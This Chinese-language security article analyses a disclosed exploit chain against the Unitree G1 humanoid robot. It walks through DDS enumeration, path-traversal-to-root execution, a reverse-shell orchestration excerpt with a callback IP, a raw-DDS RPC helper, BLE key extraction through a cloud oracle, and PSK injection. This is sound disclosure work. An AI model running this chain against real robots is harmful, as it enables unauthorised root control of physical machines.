1. 系統架構與信任邊界

報告從純粹的技術觀點,檢視了影響 宇樹(Unitree) G1 人形機器人 聯網控制架構的一組已揭露漏洞鏈。分析涵蓋 Data Distribution Service (DDS) 信任模型 、檔案系統 Path Traversal 基本手法(primitive)結合過期執行白名單、未經身分驗證的 Bluetooth Low Energy (BLE) 寫入特性,以及雲端端的金鑰解密 Oracle,並探討這些漏洞如何組合,最終導致可在 Bluetooth 範圍內達成未經身分驗證的 root 層級程式碼執行。
只需一部手機、一次 GATT 寫入、一個偽造的 DDS 參與者——Unitree G1 的 RCE 就完成了嗎? | 資訊安全新聞

1. 系統架構與信任邊界

G1 的機載運算分散於私有子網上的兩個主機:一個開發導向的「Dev PC」,以及一個即時「Locomotion PC」,後者執行了二十五個 root 權限的服務模組——包含馬達控制、對話 Agent chat_go 、WiFi/BLE 佈建,以及其他服務——同時僅對外暴露一個 TCP Port 9991 給 WebRTC signaling,外加一個在 UDP 多播 Domain 0 上的 CycloneDDS 參與者 [1] 。每一個服務都是此內部 DDS 匯流排上的對等節點,而匯流排本身不執行任何參與者身分驗證:由合法 WebRTC-to-DDS 橋接器發布的訊息,與任何其他 Domain-0 參與者發布的訊息在結構上無法區分 [1] 。要存取此匯流排,通常需要一個每台裝置獨有的 AES-128 對稱金鑰,該金鑰用於加密 Port 9991 上的 WebRTC signaling handshake,並分別驗證 BLE v3 會話,因此一旦復原此單一金鑰,便會同時危及這兩個遠端傳輸途徑 [1] 。由於 CycloneDDS 內建的身分驗證、存取控制與加密插件,在部署的設定中根本沒有啟用,因此一個能夠重建出位元組相容之 unitree_api::msg::dds_::Request_ 型別的參與者,便可直接發布訊息至 Domain 0,從而繞過橋接器、AES 金鑰以及 WebRTC handshake [1]

Domain-0 探索

DDS 將服務探索內建於協定本身:任何 Domain-0 參與者都能透過 Simple Endpoint Discovery Protocol multicast,零成本地列舉出所有發布者與訂閱者及其主題/型別配對。下方的腳本即代表了此偵察步驟——它加入 Domain 0 並傾印完整的服務清單,完全不需要任何 Credential。

  1. #!/usr/bin/env python3
  2. # dds_dump.py -- Domain-0 reconnaissance client.
  3. # Analysis note: no authentication object, certificate, or shared secret
  4. # is supplied to DomainParticipant(0). CycloneDDS's SPDP/SEDP discovery
  5. # multicast (239.255.0.1:7400) is unauthenticated by default on the G1,
  6. # so any host on the 192.168.123.0/24 segment receives a full map of
  7. # every root-owned service and its request/response topics for free.
  8. import os, sys, time
  9. from cyclonedds.domain import DomainParticipant
  10. from cyclonedds.builtin import (
  11. BuiltinDataReader,
  12. BuiltinTopicDcpsParticipant,
  13. BuiltinTopicDcpsPublication,
  14. BuiltinTopicDcpsSubscription,
  15. )
  16. iface = sys.argv[1] if len(sys.argv) > 1 else "en6"
  17. # Point discovery at both onboard hosts explicitly; multicast alone
  18. # is sufficient once physically/BLE-adjacent to the robot's subnet.
  19. os.environ["CYCLONEDDS_URI"] = f"""
  20. <CycloneDDS><Domain id="0">
  21. <General>
  22. <Interfaces><NetworkInterface name="{iface}"/></Interfaces>
  23. <AllowMulticast>true</AllowMulticast>
  24. </General>
  25. <Discovery>
  26. <Peers>
  27. <Peer address="192.168.123.161"/> <!-- Locomotion PC -->
  28. <Peer address="192.168.123.164"/> <!-- Dev PC -->
  29. </Peers>
  30. </Discovery>
  31. </Domain></CycloneDDS>
  32. """
  33. dp = DomainParticipant(0)
  34. time.sleep(15) # allow SPDP/SEDP gossip to converge
  35. # These three built-in readers expose the discovery cache directly --
  36. # equivalent to walking an unauthenticated service directory.
  37. parts = BuiltinDataReader(dp, BuiltinTopicDcpsParticipant).take(100)
  38. pubs = BuiltinDataReader(dp, BuiltinTopicDcpsPublication).take(500)
  39. subs = BuiltinDataReader(dp, BuiltinTopicDcpsSubscription).take(500)
  40. print(f"\n{len(parts)} participants:")
  41. for p in parts:
  42. print(f" {p.key}")
  43. print(f"\n{len(pubs)} writers:")
  44. for p in sorted(pubs, key=lambda x: x.topic_name):
  45. print(f" {p.topic_name} [{p.type_name}]")
  46. print(f"\n{len(subs)} readers:")
  47. for s in sorted(subs, key=lambda x: x.topic_name):
  48. print(f" {s.topic_name} [{s.type_name}]")

程式 1 — 未經身分驗證的 Domain-0 服務列舉。

2. Path-Traversal 至 Root 執行: chat_go bashrunner

對 Locomotion PC 服務的請求遵循統一的 request/response 封裝格式。一個數值識別碼加上 api_id 會選取服務內部的目標處理器,而參數則以字串化的 JSON 格式傳遞——此格式與漏洞鏈中每個步驟所使用的形狀相同,包括在 chat_go 服務可被濫用之前,用以啟動該服務的那個步驟:

  1. Topic: rt/api/robot_state/request
  2. Type: unitree_api::msg::dds_::Request_
  3. Request_ {
  4. header: {
  5. identity: { id: 1785438291, api_id: 1001 }, // 1001 = ServiceSwitch
  6. lease: { id: 0 },
  7. policy: { priority: 0, noreply: false }
  8. },
  9. // Parameter is opaque JSON to the DDS layer; the receiving service
  10. // is solely responsible for validating it -- and does not.
  11. parameter: "{\"name\":\"chat_go\",\"switch\":1}",
  12. }

程式 2 — 在整個鏈中通用的 Request_ 封裝格式。

api_id 1006 背後的知識上傳處理器(knowledge-upload handler),會將呼叫者提供的 uid 欄位串接到一個固定的知識目錄(knowledge directory),並開啟該結果路徑進行寫入,但未過濾目錄 traversals 序列,因此一個值為 ../../../../../unitree/module/bashrunner/content_acquisition/pwn uid 便能逃脫原定的目錄樹,並將攻擊者選擇的檔案(內容同樣由攻擊者選擇)放入第二個服務早已信任的目錄中 [1] 。這第二個服務 bashrunner ,其執行白名單僅在建構模組匯入時,透過 os.listdir() 對該目錄進行一次性的掃描建立,且其派送器不論檔案副檔名為何,一律以 sh 執行 shell 命令,因此一個名為 pwn.md 的腳本仍會作為 shell 腳本執行 [1] 。由於白名單僅被記錄一次,攻擊流程需要重新啟動 chat_go ,傳送惡意檔案,然後透過相同的服務開關 API 重新啟動 bashrunner ,使新檔名被重新列舉。

sequenceDiagram participant A as Attacker (WebRTC data channel) participant RS as robot_state_service participant CG as chat_go (config_thread) participant BR as bashrunner A->>RS: Request_ api_id=1001 {name:"chat_go", switch:1} RS->>CG: start service A->>CG: Request_ api_id=1006 uid="../bashrunner/content_acquisition/pwn" CG->>CG: save_knowledge() writes file with no path sanitization A->>RS: Request_ api_id=1001 {name:"bashrunner", switch:0} A->>RS: Request_ api_id=1001 {name:"bashrunner", switch:1} BR->>BR: os.listdir() rebuilds whitelist at import (now includes pwn.md) A->>BR: Request_ api_id=1001 {script:"pwn.md"} BR-->>A: sh pwn.md executed as root, output returned

圖 1 — chat_go Path-Traversal 寫入,結合 bashrunner 的過期白名單。

圖 1 所暗示的五個 DDS 呼叫,實際上是如何在已建立的 WebRTC data channel 上依序執行,包括 readiness poll 以及每次服務重啟所需的 sleep 間隔時間:

  1. # reverse_shell_standalone.py -- orchestration of the five-step chain.
  2. # Analysis note: every step below is a single unauthenticated DDS RPC;
  3. # no credential beyond the per-device AES key (needed only to open the
  4. # WebRTC data channel) is ever presented to chat_go or bashrunner.
  5. async def main():
  6. cb_ip = sys.argv[1] if len(sys.argv) > 1 else "192.168.123.55"
  7. cb_port = int(sys.argv[2]) if len(sys.argv) > 2 else 4444
  8. payload = make_payload(cb_ip, cb_port) # reverse-shell one-liner
  9. pc, ps = await connect_webrtc(ROBOT_IP, AES_128_KEY) # step 0: transport
  10. # Step 1: ensure chat_go is running (ServiceSwitch, api_id 1001)
  11. await dds_req(ps, "rt/api/robot_state/request", 1001,
  12. json.dumps({"name": "chat_go", "switch": 1}))
  13. await asyncio.sleep(8) # chat_go init is slow; poll for readiness below
  14. code, _ = await dds_req(ps, "rt/api/gpt/request", 1009, "")
  15. if code == "TIMEOUT":
  16. await asyncio.sleep(10)
  17. code, _ = await dds_req(ps, "rt/api/gpt/request", 1009, "")
  18. # Step 2: path-traversal write via the knowledge-upload handler
  19. code, _ = await dds_req(ps, "rt/api/gpt/request", 1006,
  20. json.dumps([{"uid": TRAVERSAL_UID, "content": payload}]), timeout=8)
  21. # Step 3-4: restart bashrunner so os.listdir() re-scans and
  22. # picks up the newly written pwn.md inside its whitelist
  23. await dds_req(ps, "rt/api/robot_state/request", 1001,
  24. json.dumps({"name": "bashrunner", "switch": 0}))
  25. await asyncio.sleep(3)
  26. await dds_req(ps, "rt/api/robot_state/request", 1001,
  27. json.dumps({"name": "bashrunner", "switch": 1}))
  28. await asyncio.sleep(5)
  29. # Step 5: request execution -- bashrunner shells out with `sh`
  30. # irrespective of the .md extension, running our payload as root.
  31. code, _ = await dds_req(ps, "rt/api/bashrunner/request", 1001,
  32. json.dumps({"script": "pwn.md"}), timeout=15)
  33. await pc.close()

程式 3 — 漏洞鏈協調編排摘錄。

3. 從攻擊鏈中移除 WebRTC 橋接器

由於 AES 金鑰與 WebRTC handshake 僅保護橋接器,而非底層匯流排,因此一旦從韌體隨附的 Python 繫結重建出訊息型別,並透過 CycloneDDS 的 idlc 編譯器重新編譯,便可將相同的五個 DDS 呼叫以 raw UDP multicast 方式發送 [1] 。底下的 C 用戶端將請求/回應往返封裝成一個可重複使用的 RPC 呼叫,透過請求識別碼來比對回覆,而非依賴任何 Session 狀態:

  1. /* loco_rce.c -- raw-DDS RPC helper, bypassing webrtc_bridge entirely. */
  2. /* Analysis note: dds_call() below performs the exact same 5 requests */
  3. /* as Program 3, but publishes them directly to Domain 0 with libddsc, */
  4. /* with no AES key, no HTTP signaling, and no WebRTC handshake at all -- */
  5. /* demonstrating that the bridge, not the bus, was the only barrier. */
  6. static int dds_call(dds_entity_t participant, const char *service,
  7. long long api_id, const char *param, int timeout_sec,
  8. char *out, size_t outlen) {
  9. char topic_req[128], topic_resp[128];
  10. snprintf(topic_req, sizeof(topic_req), "rt/api/%s/request", service);
  11. snprintf(topic_resp, sizeof(topic_resp), "rt/api/%s/response", service);
  12. /* Reconstructed type descriptors give this writer/reader the exact */
  13. /* scoped type name (unitree_api::msg::dds_::Request_) the robot's */
  14. /* own services expect, so discovery matches them as legitimate peers. */
  15. dds_entity_t t_req = dds_create_topic(participant,
  16. &unitree_api_msg_dds__Request__desc, topic_req, NULL, NULL);
  17. dds_entity_t t_resp = dds_create_topic(participant,
  18. &unitree_api_msg_dds__Response__desc, topic_resp, NULL, NULL);
  19. dds_qos_t *qos = dds_create_qos();
  20. dds_qset_reliability(qos, DDS_RELIABILITY_RELIABLE, DDS_SECS(10));
  21. dds_entity_t writer = dds_create_writer(participant, t_req, qos, NULL);
  22. dds_entity_t reader = dds_create_reader(participant, t_resp, NULL, NULL);
  23. dds_sleepfor(DDS_MSECS(500)); /* let endpoint matching settle */
  24. unitree_api_msg_dds__Request_ req = {0};
  25. long long rid = next_id();
  26. req.header.identity.id = rid;
  27. req.header.identity.api_id = api_id; /* selects the target handler */
  28. req.parameter = (char *)param; /* raw JSON, unvalidated by DDS */
  29. dds_write(writer, &req);
  30. dds_time_t deadline = dds_time() + DDS_SECS(timeout_sec);
  31. unitree_api_msg_dds__Response_ resp; memset(&resp, 0, sizeof(resp));
  32. void *samples[1] = { &resp };
  33. dds_sample_info_t infos[1];
  34. while (dds_time() < deadline) {
  35. dds_return_t n = dds_take(reader, samples, infos, 1, 1);
  36. if (n > 0 && infos[0].valid_data && resp.header.identity.id == rid) {
  37. int code = resp.header.status.code;
  38. if (out && resp.data) strncpy(out, resp.data, outlen - 1);
  39. dds_delete(writer); dds_delete(reader);
  40. return code;
  41. }
  42. dds_sleepfor(DDS_MSECS(50));
  43. }
  44. return -999; /* timeout */
  45. }

程式 4 — 取代 WebRTC 橋接器的直接-DDS RPC 輔助函式。

4. 未經身分驗證的 BLE 寫入與雲端解密 Oracle

獨立於 DDS 層級的漏洞之外,BLE 介面提供了一種無需與目標機器人進行任何事先互動即可取得每台裝置專屬 AES-128 金鑰的方法。客製化 GATT 服務的寫入特性 0xFFE2 ,僅以 BT_ATT_PERM_WRITE 權限註冊,並未設定 WRITE_ENCRYPT WRITE_AUTHEN 旗標,因此它接受來自任何已連線用戶端的寫入,無需配對步驟 [1] 。一個承載 opcode 0xF2 的七位元組明碼框架,在任何 handshake 之前便會被路由至一個處理器,該處理器會讀取本機 AES 金鑰、計算其 SHA-256 摘要、讀取序號與 BLE MAC address,然後使用與 GATT 二進位檔案一同發布的公開金鑰,將產生的 76 位元組結構以 RSA-OAEP-SHA256 加密,僅透過 Notifications 回傳密文 [1] 。解密僅預期由 Unitree 的雲端進行,因為它持有對應的私鑰。然而,負責該解密的雲端端點僅驗證請求是否攜帶任何帳號的有效 Session Token,但從未檢查該帳號是否綁定於目標機器人的序號,將合法的解密並綁定操作轉化為一個未經驗證的 oracle,使任何僅透過無線取得的金鑰都能被利用。 [1]

sequenceDiagram participant A as Attacker (BLE range) participant G as G1 btgatt-server (0xFFE2 / 0xFFE1) participant C as Unitree cloud (/device/bindExtData) A->>G: write 0xFFE2, cleartext opcode 0xF2 (no pairing, no handshake) G-->>A: notify 0xFFE1: RSA-OAEP(AES key || SHA256 || serial || MAC) A->>C: POST bindExtData(extData=blob, sn=RSA(serial)) Note over C: token authenticated, ownership binding not verified C-->>A: plaintext per-device AES-128 key A->>G: AES-GCM opcode 0x0B / 0x0C timestamp challenge-response G-->>A: valid_incoming_user = 1 (WiFi opcodes 0x03-0x07 unlocked)

圖 2 — BLE 開機載入 opcode 結合雲端金鑰解密 Oracle 。

一旦 valid_incoming_user 被設定,WiFi 佈建 opcode 便會接受來自同一未經身分驗證 BLE 連線的 SSID 與 PSK 數值。Unitree 的備用設定產生器會將這些數值插入 wpa_supplicant.conf 範本中,透過一個未加引號的 heredoc;將 PSK 強制設為超過 63 個字元,會使主要的 wpa_passphrase 路徑拒絕該輸入,並落入此不安全的產生器,因此嵌入 PSK 中的引號與大括號字元會提前關閉預期的 network 區塊,並拼接一個攻擊者選擇的區塊,將機器人連線至一個惡意的 Access Point [1] 。從該網路,便可重複使用第 2 節的 Path-Traversal 基本手法,從 /proc/pid/maps 洩漏 BLE 伺服器的 PIE 基底位址,然後已揭露的研究利用該位址計算出一個 1050 位元組寫入至 500 位元組 SSID 緩衝區的位址,從而損壞一個事件迴圈清理指標,使得迴圈的結束路徑會以 root 身分呼叫 system() [1]

5. 討論

此漏洞鏈在架構上不同於先前針對同一機器人家族所揭露的 BLE 通報,後者依賴於一個跨多個平台、所有已部署單元共享的單一 Hardcoded AES 金鑰,以及一個僅驗證固定字串的 handshake [2] 。由於該金鑰是靜態的,任何從韌體中復原該金鑰的第三方都能解密現場所有單元的 BLE 流量。而上述分析的漏洞鏈則針對每台裝置獨有的金鑰,因此遺漏的 GATT 配對要求與伺服器端的授權漏洞相結合,而非一個 Shared secret;一項針對遠端操作機器人安全性的更廣泛調查也指出,未經身分驗證的 BLE 佈建加上薄弱的輸入驗證,是此機器人家族中反覆出現的模式,而非一個孤立的缺陷 [3]

6. 結論

在這兩個漏洞鏈中,共同的失敗模式是將信任置於傳輸層,而非在訊息層級強制執行:一個 DDS Domain 接受任何型別正確的參與者,一個 GATT 特性在配對前接受寫入,而一個雲端端點檢查身分驗證但不檢查資源所有權。個別來看,每個缺口似乎都有其防禦理由;但當組合在一起時——BLE 開機載入、雲端解密、直接 DDS RPC,以及一個過期的執行白名單——它們便產生了一條未經身分驗證、可在 Bluetooth 範圍內觸及機器人之 root 程式碼執行途徑。